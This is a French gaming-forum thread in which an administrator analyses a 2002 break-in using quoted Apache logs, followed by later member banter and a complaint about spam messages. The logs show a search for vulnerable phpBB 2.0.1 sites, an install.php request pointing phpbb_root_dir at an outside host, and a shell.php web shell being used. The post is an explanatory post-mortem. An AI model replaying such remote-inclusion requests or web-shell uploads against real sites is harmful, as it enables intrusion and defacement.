AXL's Game Center

  • 04 février 2012 à 19:23:37
  • Bienvenue, Invité
Merci de vous connecter ou de vous inscrire.

Connexion avec identifiant, mot de passe et durée de la session
Recherche avancée  

Nouvelles:

Pages: [1] 2

Auteur Sujet: Nous nous sommes fait hacker  (Lu 2373 fois)

0 Membres et 1 Invité sur ce sujet

[RafaL]AxelTerizaki

  • Administrator
  • En voie d'extinction
  • *
  • Karma: +114/-33
  • Sexe: Homme
  • Messages: 7512
    • Meido Rando
Nous nous sommes fait hacker
« le: 20 décembre 2002 à 15:27:35 »

Bonjour à tous.

En ce jour sombre, c'est ce matin que j'ai découvert un hack de tous les sites qui sont hébergés ici. Herueusement rien de grave, juste les index.php ont été remplacés.

Seulement voilà, il fallait trouver la faille qui a permis au méchant vilain pas beau de nous faire du tort.

Voici donc le cours d'analyse de logs apache par Axel:

Citer
200.163.8.140 - - [20/Dec/2002:01:33:48 +0100] "GET / HTTP/1.1" 200 6572 forums.axelgamecenter.com "http://www.alltheweb.com/search?q=%22powered+by+phpbb+2.0.1%22&c=web&cs=utf-8&o=930&l=any" "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)" "-"


1. Notre hackeur a fait des recherches sur "Powered by phpBB 2.0.1" Il cherchait donc volontairement à hacker par le forum: phpBB doit souffrir d'une faille de sécurité importante. Je vais tâcher de la corriger le plus vite possible avec l'aide d'aevoc.

Citer
200.163.8.140 - - [20/Dec/2002:01:34:01 +0100] "GET /install.php?phpbb_root_dir=http://www.superwroger.hpg.ig.com.br/ HTTP/1.1" 200 1266 forums.axelgamecenter.com "-" "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)" "-"
207.253.45.194 - - [20/Dec/2002:01:34:45 +0100] "GET / HTTP/1.1" 200 683 www.mahorosan.net "-" "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)" "-"


2. Là notre ami "installe" un nouveau phpBB dans notre forum en se servant du sien sur sa bécane comme source (corrompue).

De toutes évidence à partir de ce moment là on peut dire que la faute me revient, ce fichier install.php aurait dû être effacé. Ca n'a pas été fait. J'en assume les conséquences.

Citer
200.163.8.140 - - [20/Dec/2002:01:36:01 +0100] "GET /shell.php HTTP/1.1" 200 13127 forums.axelgamecenter.com "-" "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)" "-"
200.163.8.140 - - [20/Dec/2002:01:36:06 +0100] "POST /shell.php HTTP/1.1" 200 13605 forums.axelgamecenter.com "http://forums.axelgamecenter.com/shell.php" "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)" "-"


3. Et c'est là qu'il a commencé à faire le batard en uploadant un script php qui lui a permis d'envoyer n'importe quelle commande UNIX au serveur web, à savoir déplacer, renommer, supprimer, copier des fichiers etc.

Ingénieux, non?

En tous cas c'est une belle leçon de sécurité pour moi :)
« Modifié: 24 juillet 2006 à 14:14:05 par Motenai »
IP archivée




Meido-Rando - Le pays des Meido.
Blind Spot - Quand il y a besoin d'une fiction pour montrer la réalité...

[RafaL]Parpin

  • Expert Comptable
  • Fan de Doug
  • *****
  • Karma: +33/-11
  • Sexe: Homme
  • Messages: 1440
Re: Nous nous sommes fait hacker
« Réponse #1 le: 23 décembre 2009 à 07:44:42 »
Tin les pourris c'est abusé.... A quoi ca leur sert de s'attaquer à notre forum ?
IP archivée


M60 isn't only a machinegun, it's a life style

( Traduction: Quand j'ai la M60, les gars d'en face se retrouvent avec plein de piercing)

[RafaL]Allion

  • Expert Comptable
  • Witcher
  • *******
  • Karma: +38/-7
  • Messages: 3625
Re: Nous nous sommes fait hacker
« Réponse #2 le: 23 décembre 2009 à 10:24:54 »
Bah surtout ce que je capte pas, c'est que tu dis qu'il est passé par le forum car il existait une faille dans phpBB . Mais il me semblais que sur tes conseils judicieux, nous etions passer sous Simple Machines, justement pour éviter ce genre de "menu problème" ???

Il a fait comment alors le gaillard ? Si on a pas de forum en phpBB ??

Encore une vieille version du forum sous php qui traine ?

IP archivée
RafaL Powaaaaaaaaaaaaaaa !!!!!

[RafaL]aevoc

  • Trololo Guy
  • Administrator
  • VG /ALL
  • *
  • Karma: +107/-20
  • Sexe: Homme
  • Messages: 4945
Re: Nous nous sommes fait hacker
« Réponse #3 le: 23 décembre 2009 à 11:10:17 »
ouais, ça doit une être une vieille version qui date du 20 Décembre 2002 à 14:27:35 (environ)...
IP archivée


"Notre boulot c'est de tuer les gens, pas de les aider." ~ Axel T.

"D'aucuns diront que le syndicalisme est à la société moderne ce que le mercurochrome est à la jambe de bois." ~ Coluche

"La politique, c’est comme l’andouillette. Ça doit sentir un peu la merde mais pas trop." ~ Édouard Herriot, ancien Président du Conseil et de l’Assemblée Nationale, 1925.

[RafaL]Allion

  • Expert Comptable
  • Witcher
  • *******
  • Karma: +38/-7
  • Messages: 3625
Re: Nous nous sommes fait hacker
« Réponse #4 le: 23 décembre 2009 à 12:49:13 »
Ohlolol, me suis fait niquer par les coups de pelle de Parpin.....

pas bien les déterrages parpin, vilain vas  :boxe_face:
IP archivée
RafaL Powaaaaaaaaaaaaaaa !!!!!

[RafaL]Sliders

  • SODOMISATOR
  • Expert Comptable
  • Witcher
  • *******
  • Karma: +60/-88
  • Sexe: Homme
  • Messages: 3417
Re: Nous nous sommes fait hacker
« Réponse #5 le: 23 décembre 2009 à 13:45:28 »
Excellent, Trop fort, j'me suis laissé avoir aussi moi
IP archivée
T'en a marre de t'faire chier l'samedi soir devant la télé..... à r'garder les grosses têtes.

[RafaL]aevoc

  • Trololo Guy
  • Administrator
  • VG /ALL
  • *
  • Karma: +107/-20
  • Sexe: Homme
  • Messages: 4945
Re: Nous nous sommes fait hacker
« Réponse #6 le: 23 décembre 2009 à 16:24:35 »
nous nous sommes fait hacker par jérémy  :140:
IP archivée


"Notre boulot c'est de tuer les gens, pas de les aider." ~ Axel T.

"D'aucuns diront que le syndicalisme est à la société moderne ce que le mercurochrome est à la jambe de bois." ~ Coluche

"La politique, c’est comme l’andouillette. Ça doit sentir un peu la merde mais pas trop." ~ Édouard Herriot, ancien Président du Conseil et de l’Assemblée Nationale, 1925.

[RafaL]Allion

  • Expert Comptable
  • Witcher
  • *******
  • Karma: +38/-7
  • Messages: 3625
Re: Nous nous sommes fait hacker
« Réponse #7 le: 23 décembre 2009 à 18:03:37 »
vas repasser ton suaire toi, voir si ma photo y est  :004_drole_04:
IP archivée
RafaL Powaaaaaaaaaaaaaaa !!!!!

[rafal]bithow

  • Twilight Donators
  • Eponge suprême
  • Karma: +11/-8
  • Sexe: Homme
  • Messages: 1908
Re : Nous nous sommes fait hacker
« Réponse #8 le: 23 décembre 2009 à 21:19:21 »
ololol
IP archivée

Bientot tu pourras m'appeler papa, j'irai là où t'as passé 9 mois

[RafaL]Sliders

  • SODOMISATOR
  • Expert Comptable
  • Witcher
  • *******
  • Karma: +60/-88
  • Sexe: Homme
  • Messages: 3417
Re: Nous nous sommes fait hacker
« Réponse #9 le: 24 décembre 2009 à 09:23:43 »
Citation de: [RafaL]aevoc le 23 décembre 2009 à 16:24:35
nous nous sommes fait hacker par jérémy  :140:

faut le connaitre
IP archivée
T'en a marre de t'faire chier l'samedi soir devant la télé..... à r'garder les grosses têtes.

[RafaL]aevoc

  • Trololo Guy
  • Administrator
  • VG /ALL
  • *
  • Karma: +107/-20
  • Sexe: Homme
  • Messages: 4945
Re: Nous nous sommes fait hacker
« Réponse #10 le: 24 décembre 2009 à 13:22:21 »
IP archivée


"Notre boulot c'est de tuer les gens, pas de les aider." ~ Axel T.

"D'aucuns diront que le syndicalisme est à la société moderne ce que le mercurochrome est à la jambe de bois." ~ Coluche

"La politique, c’est comme l’andouillette. Ça doit sentir un peu la merde mais pas trop." ~ Édouard Herriot, ancien Président du Conseil et de l’Assemblée Nationale, 1925.

[rafal]bithow

  • Twilight Donators
  • Eponge suprême
  • Karma: +11/-8
  • Sexe: Homme
  • Messages: 1908
Re : Nous nous sommes fait hacker
« Réponse #11 le: 26 décembre 2009 à 20:27:26 »
Jérémy rador
IP archivée

Bientot tu pourras m'appeler papa, j'irai là où t'as passé 9 mois

[RafaL]Allion

  • Expert Comptable
  • Witcher
  • *******
  • Karma: +38/-7
  • Messages: 3625
Re: Re : Nous nous sommes fait hacker
« Réponse #12 le: 27 décembre 2009 à 00:25:40 »
On s'est peut être pas fait hacker, mais bon les vieux membres bidons qui sont là pour t'envoyer des messages perso pour le la pub de pr0n de merde... bof bof  :106:

C'est rare, mais ça viens d'arriver sur le forum... je suppose que vous l'avez aussi.
IP archivée
RafaL Powaaaaaaaaaaaaaaa !!!!!

[RafaL]AxelTerizaki

  • Administrator
  • En voie d'extinction
  • *
  • Karma: +114/-33
  • Sexe: Homme
  • Messages: 7512
    • Meido Rando
Re : Nous nous sommes fait hacker
« Réponse #13 le: 27 décembre 2009 à 01:59:25 »
Je m'en suis occupé ce matin, malheureusement on peut pas faire grand chose, peut-être migrer sous SMF 2 à la limite, mais encore... Vu l'utilisation du forum ça me fait un poil chier de dépenser autant d'énergie à réinstaller les mods, surtout que si y'a pas l'arcade ou le shop ou la shoutbox ou je ne sais quoi sui manque y'en a qui vont venir me dire "ouiiiin y'a plus ça sur le forum", 'fin bref.
IP archivée




Meido-Rando - Le pays des Meido.
Blind Spot - Quand il y a besoin d'une fiction pour montrer la réalité...

[RafaL]Allion

  • Expert Comptable
  • Witcher
  • *******
  • Karma: +38/-7
  • Messages: 3625
Re: Re : Nous nous sommes fait hacker
« Réponse #14 le: 27 décembre 2009 à 03:32:27 »
Citation de: [RafaL]AxelTerizaki le 27 décembre 2009 à 01:59:25
Je m'en suis occupé ce matin, malheureusement on peut pas faire grand chose, peut-être migrer sous SMF 2 à la limite, mais encore... Vu l'utilisation du forum ça me fait un poil chier de dépenser autant d'énergie à réinstaller les mods, surtout que si y'a pas l'arcade ou le shop ou la shoutbox ou je ne sais quoi sui manque y'en a qui vont venir me dire "ouiiiin y'a plus ça sur le forum", 'fin bref.

Nan mais t'inquiet, on sait que rien n'est parfait. Faut pas se plaindre non plus c'est archi rare... Je disais juste que c'est chiant stou :P

IP archivée
RafaL Powaaaaaaaaaaaaaaa !!!!!

Pages: [1] 2
 

Page générée en 5.282 secondes avec 23 requêtes.